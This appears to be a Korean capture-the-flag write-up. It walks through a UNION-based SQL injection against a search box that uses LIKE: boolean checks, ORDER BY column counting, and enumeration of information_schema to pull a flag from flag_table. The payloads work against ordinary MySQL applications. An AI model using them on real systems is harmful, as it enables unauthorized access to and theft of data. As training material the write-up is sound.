비밀 데이터를 찾아내라!
눈에 보이는 게시판 내용인 거 같다.
Adm을 검색해 보았다. 일부분으로 검색이 된 걸 보니 sql 문법에 like가 들어가는 거 같다.
SELECT * FROM table WHERE column LIKE ‘%Adm%’ 이런 형식으로 db에서 조회되는 거 같다.
Sql Injection 검증
Adm%'and'1%'='1
Adm%'and'1%'='2
검색해 보았다.
Adm%’and’1%’=’1 결과는 나왔고 Adm%’and’1%’=’2는 안 나왔다.
컬럼 개수 찾기
Adm%’ # 이렇게 쓰면 Adm 이랑 같은 결과가 나왔다.
Adm%’ order by 5# 로하면 컬럼이 검색 결과가 나오지 않았고 Adm%’ order by 4# 로하면 검색 결과가 나온 걸 보니
컬럼 개수는 4개인 거 같다.
출력되는 컬럼 위치 찾기
union을 사용해서 추가로 하나의행을 붙여서 컬럼숫자를 파악해보았다.
Adm%’ union select 1,2,3,4 # 1,2,3,4가 전부 보였다.
select column from table sql 문을 이렇게 실행하면 보일 거 같다.
Adm%’ union select 1, column, 3,4 from table # 이렇게 넣고 싶은데 값을 모른다.
DB 이름과 테이블 이름 컬럼 이름을 찾기
DB 이름 확인하려면 sql 문은 select database()
sql injection으로 찾는 법은 Adm%’ union select 1, database(),3,4 #
sqli_1 DB의 값이 나왔다.
테이블 이름 확인
DB에는 테이블 정보가 있는 테이블이 저장되어 있다.
information_schema.tables 여기에 mysql 데이터베이스 테이블 정보가 있다고 한다.
또다시 Adm%’ union select 1,2,3,4 # 이정보를 가지고
Adm%’ union select 1,table_name,3,4 from information_schema.tables where table_schema =’sqli_1′ #
sql문은 select table_name from information_schema.tables where table_schema =’sqli_1′
flag_table, plusFlag_Table, user_info 테이블 이름이 확인되었다.
컬럼 이름 확인
sql문은 select column_name from information_schema.columns where table_name = ‘테이블이름’
Adm%’ union select 1,column_name,3,4 from information_schema.columns where table_name = ‘flag_table’ #
flag_table 컬럼 이름은 flag로 확인
user_info 컬럼 이름은 id, level, rank_point, rate로 확인
데이터 추출
select flag from flag_table 플래그 데이터 값을 확인하기 위해
Adm%’ union select 1,flag,3,4 from flag_table #
결과가 나왔고 핵심은 Adm%’ union select 1,2,3,4 # 이걸 잘 응용하면 된다는 것이었다.